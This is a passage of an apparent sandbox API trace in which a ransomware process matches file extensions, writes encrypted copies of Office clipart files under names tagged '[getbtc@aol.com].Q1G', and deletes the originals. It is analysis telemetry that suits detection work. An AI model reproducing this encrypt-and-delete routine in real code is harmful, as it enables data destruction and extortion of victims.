lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.021] lstrlenW (lpString=".doc") returned 4 [0265.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString=".docx") returned 5 [0265.021] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.021] lstrlenW (lpString=".pdf") returned 4 [0265.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString=".xls") returned 4 [0265.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.021] lstrlenW (lpString=".xlsx") returned 5 [0265.021] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.021] lstrlenW (lpString=".ppt") returned 4 [0265.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.021] lstrlenW (lpString=".zip") returned 4 [0265.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.021] lstrlenW (lpString=".rar") returned 4 [0265.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString=".bz2") returned 4 [0265.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString=".7z") returned 3 [0265.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.022] lstrlenW (lpString=".dbf") returned 4 [0265.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.022] lstrlenW (lpString=".1cd") returned 4 [0265.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.022] lstrlenW (lpString=".jpg") returned 4 [0265.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.022] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.022] lstrlenW (lpString="J0187815.WMF") returned 12 [0265.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.022] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5376) returned 1 [0265.022] CloseHandle (hObject=0x37c) returned 1 [0265.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 0x20 [0265.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.023] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.023] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.024] GetLastError () returned 0x0 [0265.024] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1500, lpOverlapped=0x0) returned 1 [0265.025] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0265.026] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.026] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.026] SetEndOfFile (hFile=0x1bc) returned 1 [0265.026] CloseHandle (hObject=0x1bc) returned 1 [0265.026] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.026] SetEndOfFile (hFile=0x37c) returned 1 [0265.028] CloseHandle (hObject=0x37c) returned 1 [0265.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0265.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.029] lstrlenW (lpString=".doc") returned 4 [0265.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.029] lstrlenW (lpString=".docx") returned 5 [0265.029] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.029] lstrlenW (lpString=".pdf") returned 4 [0265.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.029] lstrlenW (lpString=".xls") returned 4 [0265.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.029] lstrlenW (lpString=".xlsx") returned 5 [0265.029] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.030] lstrlenW (lpString=".ppt") returned 4 [0265.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString=".zip") returned 4 [0265.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.030] lstrlenW (lpString=".rar") returned 4 [0265.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString=".bz2") returned 4 [0265.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString=".7z") returned 3 [0265.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString=".dbf") returned 4 [0265.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString=".1cd") returned 4 [0265.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString=".jpg") returned 4 [0265.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString=".doc") returned 4 [0265.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString=".docx") returned 5 [0265.030] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.030] lstrlenW (lpString=".pdf") returned 4 [0265.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString=".xls") returned 4 [0265.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.030] lstrlenW (lpString=".xlsx") returned 5 [0265.030] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.030] lstrlenW (lpString=".ppt") returned 4 [0265.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.030] lstrlenW (lpString=".zip") returned 4 [0265.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.030] lstrlenW (lpString=".rar") returned 4 [0265.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.031] lstrlenW (lpString=".bz2") returned 4 [0265.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.031] lstrlenW (lpString=".7z") returned 3 [0265.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.031] lstrlenW (lpString=".dbf") returned 4 [0265.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.031] lstrlenW (lpString=".1cd") returned 4 [0265.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0265.031] lstrlenW (lpString=".jpg") returned 4 [0265.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.031] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.031] lstrlenW (lpString="J0187817.WMF") returned 12 [0265.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.032] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=11644) returned 1 [0265.032] CloseHandle (hObject=0x37c) returned 1 [0265.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 0x20 [0265.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.032] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.032] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.033] GetLastError () returned 0x0 [0265.033] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2d7c, lpOverlapped=0x0) returned 1 [0265.035] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0265.036] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.036] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.036] SetEndOfFile (hFile=0x1bc) returned 1 [0265.036] CloseHandle (hObject=0x1bc) returned 1 [0265.036] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.036] SetEndOfFile (hFile=0x37c) returned 1 [0265.040] CloseHandle (hObject=0x37c) returned 1 [0265.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0265.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.041] lstrlenW (lpString=".doc") returned 4 [0265.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.041] lstrlenW (lpString=".docx") returned 5 [0265.041] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.041] lstrlenW (lpString=".pdf") returned 4 [0265.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.041] lstrlenW (lpString=".xls") returned 4 [0265.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.041] lstrlenW (lpString=".xlsx") returned 5 [0265.042] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.042] lstrlenW (lpString=".ppt") returned 4 [0265.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.042] lstrlenW (lpString=".zip") returned 4 [0265.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.042] lstrlenW (lpString=".rar") returned 4 [0265.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString=".bz2") returned 4 [0265.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString=".7z") returned 3 [0265.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.042] lstrlenW (lpString=".dbf") returned 4 [0265.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.042] lstrlenW (lpString=".1cd") returned 4 [0265.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.042] lstrlenW (lpString=".jpg") returned 4 [0265.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.042] lstrlenW (lpString=".doc") returned 4 [0265.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString=".docx") returned 5 [0265.042] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.042] lstrlenW (lpString=".pdf") returned 4 [0265.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString=".xls") returned 4 [0265.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.042] lstrlenW (lpString=".xlsx") returned 5 [0265.042] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.042] lstrlenW (lpString=".ppt") returned 4 [0265.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.043] lstrlenW (lpString=".zip") returned 4 [0265.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.043] lstrlenW (lpString=".rar") returned 4 [0265.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.043] lstrlenW (lpString=".bz2") returned 4 [0265.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.043] lstrlenW (lpString=".7z") returned 3 [0265.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.043] lstrlenW (lpString=".dbf") returned 4 [0265.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.043] lstrlenW (lpString=".1cd") returned 4 [0265.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0265.043] lstrlenW (lpString=".jpg") returned 4 [0265.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.043] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.043] lstrlenW (lpString="J0187819.WMF") returned 12 [0265.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.045] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=10352) returned 1 [0265.045] CloseHandle (hObject=0x37c) returned 1 [0265.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 0x20 [0265.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.045] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.045] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.046] GetLastError () returned 0x0 [0265.046] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2870, lpOverlapped=0x0) returned 1 [0265.048] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2880, lpOverlapped=0x0) returned 1 [0265.049] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.049] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.049] SetEndOfFile (hFile=0x1bc) returned 1 [0265.049] CloseHandle (hObject=0x1bc) returned 1 [0265.049] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.050] SetEndOfFile (hFile=0x37c) returned 1 [0265.051] CloseHandle (hObject=0x37c) returned 1 [0265.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0265.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.052] lstrlenW (lpString=".doc") returned 4 [0265.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.052] lstrlenW (lpString=".docx") returned 5 [0265.052] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.053] lstrlenW (lpString=".pdf") returned 4 [0265.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString=".xls") returned 4 [0265.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.053] lstrlenW (lpString=".xlsx") returned 5 [0265.053] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.053] lstrlenW (lpString=".ppt") returned 4 [0265.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.053] lstrlenW (lpString=".zip") returned 4 [0265.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.053] lstrlenW (lpString=".rar") returned 4 [0265.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString=".bz2") returned 4 [0265.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString=".7z") returned 3 [0265.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.053] lstrlenW (lpString=".dbf") returned 4 [0265.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.053] lstrlenW (lpString=".1cd") returned 4 [0265.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.053] lstrlenW (lpString=".jpg") returned 4 [0265.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.053] lstrlenW (lpString=".doc") returned 4 [0265.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString=".docx") returned 5 [0265.053] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.053] lstrlenW (lpString=".pdf") returned 4 [0265.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.053] lstrlenW (lpString=".xls") returned 4 [0265.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.053] lstrlenW (lpString=".xlsx") 